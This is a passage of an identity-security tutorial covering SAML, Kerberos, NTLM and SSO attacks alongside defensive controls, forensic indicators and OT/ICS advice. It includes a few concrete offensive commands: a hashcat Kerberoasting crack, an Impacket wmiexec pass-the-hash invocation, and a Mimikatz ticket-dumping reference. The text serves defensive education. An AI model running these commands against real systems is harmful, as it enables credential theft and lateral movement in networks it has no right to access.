  │                     │                            │
  │── access app ──────►│                             │
  │                     │── AuthnRequest (redirect) ─►│
  │◄─────────── redirected to IdP login ──────────────┤
  │── credentials ─────────────────────────────────────►│
  │                     │     IdP authenticates user   │
  │◄──── SAML Response (signed XML Assertion) ──────────┤
  │── POST assertion ──►│                             │
  │                     │  SP validates signature,     │
  │                     │  trusts assertion, logs in   │
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.3 Anatomy of a SAML Assertion (Simplified)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;saml:Assertion&lt;/span&gt; &lt;span class="na"&gt;ID=&lt;/span&gt;&lt;span class="s"&gt;"_a1b2c3"&lt;/span&gt; &lt;span class="na"&gt;IssueInstant=&lt;/span&gt;&lt;span class="s"&gt;"2026-06-28T10:00:00Z"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;saml:Issuer&amp;gt;&lt;/span&gt;https://idp.corp.com&lt;span class="nt"&gt;&amp;lt;/saml:Issuer&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;saml:Subject&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;saml:NameID&amp;gt;&lt;/span&gt;jdoe@corp.com&lt;span class="nt"&gt;&amp;lt;/saml:NameID&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/saml:Subject&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;saml:Conditions&lt;/span&gt; &lt;span class="na"&gt;NotBefore=&lt;/span&gt;&lt;span class="s"&gt;"..."&lt;/span&gt; &lt;span class="na"&gt;NotOnOrAfter=&lt;/span&gt;&lt;span class="s"&gt;"..."&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;saml:AudienceRestriction&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;saml:Audience&amp;gt;&lt;/span&gt;https://app.example.com&lt;span class="nt"&gt;&amp;lt;/saml:Audience&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/saml:AudienceRestriction&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/saml:Conditions&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;ds:Signature&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/ds:Signature&amp;gt;&lt;/span&gt; &lt;span class="c"&gt;&amp;lt;!-- XML digital signature --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/saml:Assertion&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.4 Golden SAML — The Most Important Attack in This Section
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Golden SAML&lt;/strong&gt; is to SAML what Golden Ticket (Section 10) is to Kerberos. If an attacker compromises the &lt;strong&gt;IdP's private signing key/certificate&lt;/strong&gt; (e.g., the ADFS token-signing certificate), they can &lt;strong&gt;forge arbitrary SAML assertions offline&lt;/strong&gt;, impersonating &lt;em&gt;any user, with any attributes, for any service provider&lt;/em&gt;, without ever touching the real IdP, leaving no IdP-side authentication log.&lt;/p&gt;

&lt;p&gt;This is exactly what investigators concluded happened in the &lt;strong&gt;SolarWinds/Sunburst breach (2020)&lt;/strong&gt;: APT29 (Cozy Bear) extracted ADFS signing material from compromised environments and minted forged SAML tokens to access Microsoft 365 and other federated cloud services as any user they chose — entirely bypassing MFA, because MFA had already been satisfied "upstream" in the forged assertion's trust chain.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Conceptual structure of a Golden SAML forgery (illustrative, not exploit code):&lt;/span&gt;
&lt;span class="c"&gt;# 1. Attacker extracts the IdP's private signing certificate (e.g. from&lt;/span&gt;
&lt;span class="c"&gt;#    AD FS server's certificate store or DKM container in AD)&lt;/span&gt;
&lt;span class="c"&gt;# 2. Attacker crafts an arbitrary SAML assertion XML naming any user/claims&lt;/span&gt;
&lt;span class="c"&gt;# 3. Attacker signs that XML with the stolen private key&lt;/span&gt;
&lt;span class="c"&gt;# 4. Attacker submits the forged, validly-signed assertion directly to the SP&lt;/span&gt;
&lt;span class="c"&gt;# 5. SP validates signature against the IdP's known public cert --&amp;gt; SUCCEEDS&lt;/span&gt;
&lt;span class="c"&gt;#    because the signature IS cryptographically valid, just illegitimately produced&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.5 XML-Specific Attack Classes
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;XML Signature Wrapping (XSW)&lt;/strong&gt; — exploiting parsers that validate the signature against one part of the XML document tree but then &lt;em&gt;process&lt;/em&gt; a different, attacker-modified part, effectively smuggling forged claims past a technically-valid signature.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;XXE (XML External Entity) injection&lt;/strong&gt; — if the SP's XML parser resolves external entities, an attacker can exfiltrate local files or trigger SSRF via a crafted assertion.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  9.6 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Protect the IdP signing key like a root CA private key&lt;/strong&gt; — hardware security module (HSM) storage, strict access control, key rotation, and dedicated monitoring of the certificate store/DKM container.&lt;/li&gt;
&lt;li&gt;Always validate &lt;code&gt;AudienceRestriction&lt;/code&gt;, &lt;code&gt;NotBefore&lt;/code&gt;/&lt;code&gt;NotOnOrAfter&lt;/code&gt;, and the assertion's &lt;code&gt;Issuer&lt;/code&gt; — never accept an otherwise-valid-signature assertion outside its intended audience or time window.&lt;/li&gt;
&lt;li&gt;Use &lt;strong&gt;schema-validating, hardened XML parsers&lt;/strong&gt; that disable external entity resolution by default.&lt;/li&gt;
&lt;li&gt;Monitor for &lt;strong&gt;IdP signing certificate export/access events&lt;/strong&gt; (e.g., Windows Event ID 4662 against the ADFS DKM container) as a critical, rare, high-fidelity alert.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  9.7 Forensic Evidence
&lt;/h3&gt;

&lt;p&gt;The chilling property of Golden SAML is that &lt;strong&gt;forged assertions generate no corresponding authentication event at the real IdP&lt;/strong&gt; — your hunting target shifts to the &lt;strong&gt;Service Provider's&lt;/strong&gt; logs: an assertion accepted with no matching upstream IdP sign-in event is the core indicator. Also monitor for anomalous &lt;code&gt;NotOnOrAfter&lt;/code&gt; windows far outside policy norms, suggesting a hand-crafted (not naturally issued) assertion.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.8 OT/ICS Perspective
&lt;/h3&gt;

&lt;p&gt;Large industrial operators frequently federate &lt;strong&gt;OT vendor support portals and engineering-cloud platforms&lt;/strong&gt; through the same corporate ADFS/SAML IdP used for everything else. A Golden SAML compromise at the corporate IdP therefore can directly cascade into OT-adjacent vendor platforms — this is a strong architectural argument for a &lt;strong&gt;separate, isolated IdP trust boundary&lt;/strong&gt; for anything touching OT vendor federation, rather than a single flat corporate-wide IdP trust.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; A valid cryptographic signature proves the assertion was signed by the holder of that key — it proves nothing about whether that signing event was legitimate. Protecting the signing key is more important than any single control downstream of it.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  10. Kerberos
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 First Principles
&lt;/h3&gt;

&lt;p&gt;Kerberos is a &lt;strong&gt;ticket-based authentication protocol&lt;/strong&gt; built on &lt;strong&gt;symmetric cryptography&lt;/strong&gt; and a trusted third party (the Key Distribution Center, KDC). Its core innovation: a user proves their identity &lt;em&gt;once&lt;/em&gt; and receives a ticket usable to access multiple services &lt;em&gt;without re-sending their password&lt;/em&gt;, and &lt;em&gt;without the service itself ever learning the password&lt;/em&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  10.2 The Three Heads of Kerberos (named for Cerberus, the three-headed guard dog)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   Client            KDC: Authentication       KDC: Ticket Granting
                      Server (AS)                Service (TGS)
     │                     │                          │
     │── AS-REQ (user) ───►│                           │
     │◄── AS-REP (TGT) ────┤                           │
     │                     │                           │
     │── TGS-REQ (TGT, target service) ───────────────►│
     │◄── TGS-REP (Service Ticket) ─────────────────────┤
     │                                                  │
     │── AP-REQ (Service Ticket) ──► Target Service     │
     │◄── AP-REP (mutual auth) ─────                    │
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;AS-REQ/AS-REP&lt;/strong&gt; — client requests a &lt;strong&gt;Ticket Granting Ticket (TGT)&lt;/strong&gt;, encrypted with a key derived from the user's password hash (for the krbtgt-related secret) — this is the &lt;em&gt;initial&lt;/em&gt; authentication.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TGT&lt;/strong&gt; — proves "this user authenticated successfully" without needing to re-prove the password for every subsequent request, typically valid ~10 hours by default in AD environments.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TGS-REQ/TGS-REP&lt;/strong&gt; — client presents the TGT to request a &lt;strong&gt;Service Ticket&lt;/strong&gt; for a specific resource (e.g., a file server), encrypted with that &lt;em&gt;service's&lt;/em&gt; own secret key, derived from the service account's password hash.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AP-REQ&lt;/strong&gt; — client presents the Service Ticket directly to the target service, which decrypts it with its own key and grants access — the service never talks to the KDC directly per request and never sees the user's password.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  10.3 Golden Ticket Attack
&lt;/h3&gt;

&lt;p&gt;If an attacker compromises the &lt;strong&gt;krbtgt account's password hash&lt;/strong&gt; (the domain-wide secret used to encrypt all TGTs), they can forge a TGT for &lt;strong&gt;any user, including non-existent users, with any group membership, with any lifetime&lt;/strong&gt; — entirely offline, without contacting a Domain Controller at forgery time. This is &lt;strong&gt;complete and unrecoverable domain authentication compromise&lt;/strong&gt; unless the krbtgt password is reset (twice, due to password-history-based ticket validity).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Conceptual flow (Mimikatz-style tooling, real technique, name only — not&lt;/span&gt;
&lt;span class="c"&gt;# operational exploit code):&lt;/span&gt;
1. Attacker achieves Domain Admin &lt;span class="o"&gt;(&lt;/span&gt;or DCSync rights&lt;span class="o"&gt;)&lt;/span&gt; once.
2. Attacker extracts the krbtgt account&lt;span class="s1"&gt;'s NTLM hash via DCSync
   (replicating AD secrets through legitimate replication APIs, abused).
3. Attacker forges a TGT offline using that hash for arbitrary identity/groups.
4. Forged TGT is accepted by any DC indefinitely, until krbtgt is rotated.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.4 Silver Ticket Attack
&lt;/h3&gt;

&lt;p&gt;Similar concept, but scoped to a &lt;strong&gt;single service&lt;/strong&gt; — the attacker only needs that &lt;em&gt;service account's&lt;/em&gt; password hash (not krbtgt), and forges a Service Ticket directly, bypassing the TGS step entirely. Narrower blast radius than Golden Ticket, but harder to detect because &lt;strong&gt;it never touches the KDC at all&lt;/strong&gt; — TGS-REQ/TGS-REP events simply never occur.&lt;/p&gt;

&lt;h3&gt;
  
  
  10.5 Kerberoasting
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Any authenticated domain user can request a Service Ticket for ANY
service principal in the domain — that's by design, not a bug.

Attacker requests Service Tickets for accounts with SPNs set
(commonly service accounts running databases, web apps, etc.)
   │
   ▼
Service Ticket is encrypted with the SERVICE ACCOUNT's password hash
   │
   ▼
Attacker takes that ticket OFFLINE and brute-forces it with hashcat —
no further domain interaction needed, no lockout risk, no further alerts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Hashcat mode for Kerberos 5 TGS-REP etype 23 (RC4) — the classic&lt;/span&gt;
&lt;span class="c"&gt;# Kerberoasting crack target, because RC4-encrypted tickets are crackable&lt;/span&gt;
&lt;span class="c"&gt;# at high speed if the service account's password is weak&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 13100 &lt;span class="nt"&gt;-a&lt;/span&gt; 0 kerberoast_hashes.txt rockyou.txt
&lt;span class="c"&gt;# -m 13100 : Kerberos 5 TGS-REP etype 23&lt;/span&gt;
&lt;span class="c"&gt;# -a 0     : dictionary attack mode&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is precisely why &lt;strong&gt;service account password strength&lt;/strong&gt; matters disproportionately — these accounts are frequently set once at deployment, never rotated, and often massively over-privileged.&lt;/p&gt;

&lt;h3&gt;
  
  
  10.6 Pass-the-Ticket
&lt;/h3&gt;

&lt;p&gt;Stealing a valid TGT or Service Ticket directly from memory (e.g., via Mimikatz's &lt;code&gt;sekurlsa::tickets&lt;/code&gt;) and &lt;strong&gt;injecting it into a different session/host&lt;/strong&gt; to impersonate the victim without ever knowing their password — the ticket itself is the credential.&lt;/p&gt;

&lt;h3&gt;
  
  
  10.7 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Rotate the krbtgt password twice&lt;/strong&gt;, on a recurring schedule and immediately after any suspected Domain Admin compromise (rotating only once leaves the &lt;em&gt;previous&lt;/em&gt; password's tickets valid through password history).&lt;/li&gt;
&lt;li&gt;Enforce &lt;strong&gt;long, random passwords on service accounts&lt;/strong&gt; (25+ characters) specifically to defeat Kerberoasting — or migrate to &lt;strong&gt;Group Managed Service Accounts (gMSA)&lt;/strong&gt;, whose passwords are automatically rotated and never human-known.&lt;/li&gt;
&lt;li&gt;Monitor for &lt;strong&gt;abnormal TGS-REQ volume&lt;/strong&gt; from a single account in a short window (Event ID 4769 with ticket encryption type RC4 specifically is a strong Kerberoasting signal — AES-encrypted tickets are far more crack-resistant, so legacy RC4 use is itself a red flag).&lt;/li&gt;
&lt;li&gt;Restrict and monitor &lt;strong&gt;DCSync rights&lt;/strong&gt; (&lt;code&gt;Replicating Directory Changes&lt;/code&gt; / &lt;code&gt;Replicating Directory Changes All&lt;/code&gt;) — only Domain Controllers and explicitly authorized accounts should ever hold these.&lt;/li&gt;
&lt;li&gt;Enable &lt;strong&gt;Protected Users group&lt;/strong&gt; and &lt;strong&gt;Credential Guard&lt;/strong&gt; to prevent ticket/credential extraction from memory on modern Windows.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  10.8 Forensic Evidence
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Event ID 4768&lt;/strong&gt; (TGT requested), &lt;strong&gt;4769&lt;/strong&gt; (Service Ticket requested), &lt;strong&gt;4770&lt;/strong&gt; (Service Ticket renewed) on Domain Controllers.&lt;/li&gt;
&lt;li&gt;Golden Ticket indicator: a TGT with a &lt;strong&gt;lifetime far exceeding domain policy&lt;/strong&gt;, or referencing a &lt;strong&gt;user that no longer exists / was deleted&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Kerberoasting indicator: a single account generating &lt;strong&gt;many 4769 events with RC4 encryption (etype 0x17)&lt;/strong&gt; across many different SPNs in a short period.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  10.9 OT/ICS Perspective
&lt;/h3&gt;

&lt;p&gt;OT environments running Windows-based SCADA/HMI servers joined to a corporate Active Directory domain inherit &lt;strong&gt;every one of these Kerberos risks directly&lt;/strong&gt;. A Kerberoasted service account tied to a SCADA application server can grant an attacker a foothold that bridges IT compromise straight into OT supervisory control — this is a documented lateral-movement pattern in ICS incident response case studies (e.g., patterns described in ICS-CERT/CISA advisories following ransomware intrusions into hybrid IT/OT Windows domains). Where feasible, OT-tier Windows servers should join a &lt;strong&gt;separate, isolated forest/domain&lt;/strong&gt; rather than the corporate forest, specifically to contain Kerberos-based lateral movement.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; Kerberos tickets, not passwords, are the actual currency of post-compromise lateral movement in Windows domains — defending the krbtgt secret and service account hygiene matters more than any single password policy.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  11. NTLM
&lt;/h2&gt;

&lt;h3&gt;
  
  
  11.1 First Principles
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;NTLM (NT LAN Manager)&lt;/strong&gt; is Microsoft's legacy challenge-response authentication protocol, predating Kerberos in Windows environments and still present today for backward compatibility, workgroup (non-domain) authentication, and certain legacy application support.&lt;/p&gt;

&lt;h3&gt;
  
  
  11.2 The Challenge-Response Flow
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client                              Server
  │── NEGOTIATE_MESSAGE ────────────►│
  │◄── CHALLENGE_MESSAGE (nonce) ────┤
  │── AUTHENTICATE_MESSAGE ─────────►│
  │   (response = HMAC of nonce      │
  │    using NTLM hash of password)  │
  │                                  │  Server validates response
  │                                  │  against its own copy of the
  │                                  │  NTLM hash (or relays to a DC)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Crucially, the &lt;strong&gt;NTLM hash itself (MD4 of the password, no salt)&lt;/strong&gt; is the long-term secret — and because it's used directly in the HMAC computation, &lt;strong&gt;possessing the hash is functionally equivalent to possessing the password&lt;/strong&gt; for authentication purposes. You never need to crack it.&lt;/p&gt;

&lt;h3&gt;
  
  
  11.3 Pass-the-Hash
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Conceptual technique only — Pass-the-Hash means authenticating using a&lt;/span&gt;
&lt;span class="c"&gt;# captured NTLM hash directly, with NO password cracking required:&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# 1. Attacker dumps LSASS memory or SAM/NTDS.dit, obtains NTLM hash&lt;/span&gt;
&lt;span class="c"&gt;# 2. Attacker uses that raw hash directly in an NTLM authentication exchange&lt;/span&gt;
&lt;span class="c"&gt;#    (e.g., via tools like Impacket's psexec.py / wmiexec.py using -hashes)&lt;/span&gt;
python3 wmiexec.py &lt;span class="nt"&gt;-hashes&lt;/span&gt; :NTLM_HASH_HERE administrator@10.0.0.5
&lt;span class="c"&gt;# -hashes &amp;lt;LM:NTLM&amp;gt;  : supplies the captured hash directly, bypassing&lt;/span&gt;
&lt;span class="c"&gt;#                       any need to ever know or crack the plaintext password&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is one of the single most consequential techniques in Windows lateral movement, because &lt;strong&gt;local administrator password reuse across many machines&lt;/strong&gt; (extremely common in unmanaged enterprise fleets) turns ONE compromised endpoint into domain-wide reach.&lt;/p&gt;

&lt;h3&gt;
  
  
  11.4 NTLM Relay
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attacker positions as a man-in-the-middle (e.g. via LLMNR/NBT-NS spoofing
with Responder, or a malicious SMB/HTTP server):

 Victim Client          Attacker (relay)          Target Server
     │── auth attempt ───────►│                          │
     │                        │── relays the SAME ──────►│
     │                        │   challenge-response      │
     │                        │   to a DIFFERENT server   │
     │                        │◄── target authenticates ──┤
     │                        │    the relayed session AS │
     │                        │    the victim, NO hash     │
     │                        │    cracking needed          │
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the mechanism behind tools like &lt;strong&gt;Responder&lt;/strong&gt; (LLMNR/NBT-NS/MDNS poisoning to harvest or relay NTLM auth attempts) and &lt;strong&gt;ntlmrelayx&lt;/strong&gt; (Impacket) — and it was a primary lateral-movement vector during &lt;strong&gt;NotPetya (2017)&lt;/strong&gt;, where stolen credentials and NTLM-based authentication allowed the worm to self-propagate across Maersk's and Merck's networks at devastating speed, in part because &lt;strong&gt;SMB signing was not enforced&lt;/strong&gt; on many internal hosts, allowing relay attacks to succeed.&lt;/p&gt;

&lt;h3&gt;
  
  
  11.5 Why NTLM Is Fundamentally Weaker Than Kerberos
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;NTLM&lt;/th&gt;
&lt;th&gt;Kerberos&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Mutual authentication&lt;/td&gt;
&lt;td&gt;No (client can't verify server)&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Relay resistance&lt;/td&gt;
&lt;td&gt;Weak (no built-in channel binding by default)&lt;/td&gt;
&lt;td&gt;Strong (ticket bound to specific service)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hash reuse across machines&lt;/td&gt;
&lt;td&gt;Catastrophic if local admin reused&lt;/td&gt;
&lt;td&gt;Per-service ticket secrets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Delegation model&lt;/td&gt;
&lt;td&gt;Crude / risky&lt;/td&gt;
&lt;td&gt;Constrained delegation supported&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  11.6 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Disable NTLM entirely where possible&lt;/strong&gt;; at minimum, enforce &lt;strong&gt;NTLMv2&lt;/strong&gt; only (never LM or NTLMv1) via Group Policy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enforce SMB Signing&lt;/strong&gt; domain-wide — this is the single most impactful control against NTLM relay, as it cryptographically binds each SMB message and breaks naive relay.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enforce LDAP signing and channel binding&lt;/strong&gt; to prevent LDAP relay (a related, equally damaging relay target).&lt;/li&gt;
&lt;li&gt;Eliminate &lt;strong&gt;local administrator password reuse&lt;/strong&gt; across endpoints — use &lt;strong&gt;LAPS (Local Administrator Password Solution)&lt;/strong&gt; to randomize and rotate local admin passwords per-machine automatically.&lt;/li&gt;
&lt;li&gt;Disable &lt;strong&gt;LLMNR and NBT-NS&lt;/strong&gt; broadcast name resolution where not operationally required, removing Responder's primary poisoning surface.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  11.7 Forensic Evidence
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Event ID 4624&lt;/strong&gt; (logon) with &lt;strong&gt;Logon Type 3 (network)&lt;/strong&gt; and &lt;strong&gt;Authentication Package: NTLM&lt;/strong&gt; at unexpected volume or from unexpected source hosts.&lt;/li&gt;
&lt;li&gt;A single source host authenticating as &lt;strong&gt;many distinct user accounts&lt;/strong&gt; in rapid succession — strong Pass-the-Hash/credential-spray indicator.&lt;/li&gt;
&lt;li&gt;Unusual LLMNR/NBT-NS broadcast traffic spikes on the wire — Responder activity signature, visible in network capture/IDS.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  11.8 OT/ICS Perspective
&lt;/h3&gt;

&lt;p&gt;Many legacy OT Windows systems (Windows XP/7-era HMI software still in production due to vendor certification lock-in) &lt;strong&gt;cannot be upgraded away from NTLM&lt;/strong&gt; and often cannot even support SMB signing without breaking vendor-certified application compatibility. This is a textbook case of &lt;strong&gt;accepting a known protocol weakness and compensating architecturally&lt;/strong&gt;: isolate these legacy NTLM-dependent hosts on a dedicated, tightly firewalled VLAN with no direct reachability from general IT, and route any necessary IT-to-OT administrative access exclusively through a PAM jump host (Section 13) rather than direct NTLM-authenticated access.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; NTLM's design flaw isn't weak cryptography per se — it's the absence of mutual authentication and channel binding, which is precisely what makes relay attacks possible. SMB/LDAP signing is the cheapest, highest-impact mitigation in any Windows environment still running NTLM.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  12. Single Sign-On (SSO)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  12.1 First Principles
&lt;/h3&gt;

&lt;p&gt;SSO lets a user authenticate &lt;strong&gt;once&lt;/strong&gt; to a central Identity Provider and gain access to &lt;strong&gt;multiple independent applications&lt;/strong&gt; without re-authenticating to each. Every protocol covered so far — SAML, OIDC, Kerberos — is a &lt;em&gt;mechanism&lt;/em&gt; by which SSO is technically implemented; SSO itself is the &lt;strong&gt;architectural pattern&lt;/strong&gt;, not a protocol.&lt;/p&gt;

&lt;h3&gt;
  
  
  12.2 The Security Trade-off, Stated Plainly
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;            BENEFIT                          RISK
   ───────────────────────         ──────────────────────────
   Fewer passwords to manage        ONE compromised IdP account
   Centralized MFA enforcement      = access to EVERY connected
   Centralized audit trail          application simultaneously
   Faster offboarding (one          ("keys to the kingdom" problem)
   disable = all access revoked)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is not a reason to avoid SSO — fragmented, non-SSO environments are &lt;em&gt;empirically worse&lt;/em&gt; (more password reuse, inconsistent MFA, slower offboarding leaving orphaned accounts). It is a reason to &lt;strong&gt;invest disproportionately in protecting the IdP itself&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  12.3 Architecture Pattern
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                         ┌─────────────────┐
                         │  Identity        │
              ┌──────────│  Provider (IdP)  │──────────┐
              │          │  Okta/Azure AD/  │           │
              │          │  ADFS/Ping       │           │
              ▼          └─────────────────┘           ▼
      ┌──────────────┐                         ┌──────────────┐
      │  App A (SAML) │                         │  App B (OIDC) │
      └──────────────┘                         └──────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.4 Real-World Failure: Cloud Identity Provider Compromise
&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;Okta breach (2022, via a third-party support engineer's compromised laptop)&lt;/strong&gt; and the &lt;strong&gt;Okta source-code-repo breach (2023, customer support system compromised, session tokens for some customers exposed)&lt;/strong&gt; are the canonical illustrations of the SSO concentration risk: when the IdP vendor itself is compromised, the blast radius extends to &lt;strong&gt;every downstream customer organization simultaneously&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  12.5 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Treat the IdP as your &lt;strong&gt;single highest-value asset&lt;/strong&gt; — disproportionate monitoring, phishing-resistant MFA mandatory for all IdP admins, and a dedicated incident response runbook specifically for IdP compromise scenarios.&lt;/li&gt;
&lt;li&gt;Implement &lt;strong&gt;conditional access policies&lt;/strong&gt; (device compliance, geolocation, risk scoring) at the IdP layer, since this is now the single enforcement point for &lt;em&gt;everything&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Maintain a &lt;strong&gt;documented emergency break-glass account&lt;/strong&gt; outside normal SSO flow, with offline-stored credentials, for the scenario where the IdP itself is unavailable or compromised.&lt;/li&gt;
&lt;li&gt;Regularly &lt;strong&gt;audit connected application consent grants&lt;/strong&gt; at the IdP — orphaned, over-scoped, or unused application integrations are a common, overlooked attack surface.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  12.6 Forensic Evidence
&lt;/h3&gt;

&lt;p&gt;IdP admin-action logs (role/policy changes, new application registrations, signing certificate access) are your highest-priority log source in the entire identity stack — any anomaly here has organization-wide blast radius and should carry the highest alerting priority in your SIEM.&lt;/p&gt;

&lt;h3&gt;
  
  
  12.7 OT/ICS Perspective
&lt;/h3&gt;

&lt;p&gt;Extending corporate SSO into OT-adjacent systems (engineering workstation logins, vendor support portals) is increasingly common for usability — but it directly imports the "one IdP compromise = total access" risk into the OT domain. The architectural answer used by mature OT security programs: a &lt;strong&gt;separate, dedicated OT-tier IdP&lt;/strong&gt; (or at minimum a separate trust realm/forest) federated &lt;em&gt;narrowly and explicitly&lt;/em&gt; to corporate SSO only for specific, audited use cases — never a flat, fully-trusted extension of the corporate IdP into OT.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; SSO doesn't eliminate identity risk — it concentrates it. Concentration is good only if you invest proportionally in protecting the single point you've created.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  13. Privileged Access Management (PAM)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  13.1 First Principles
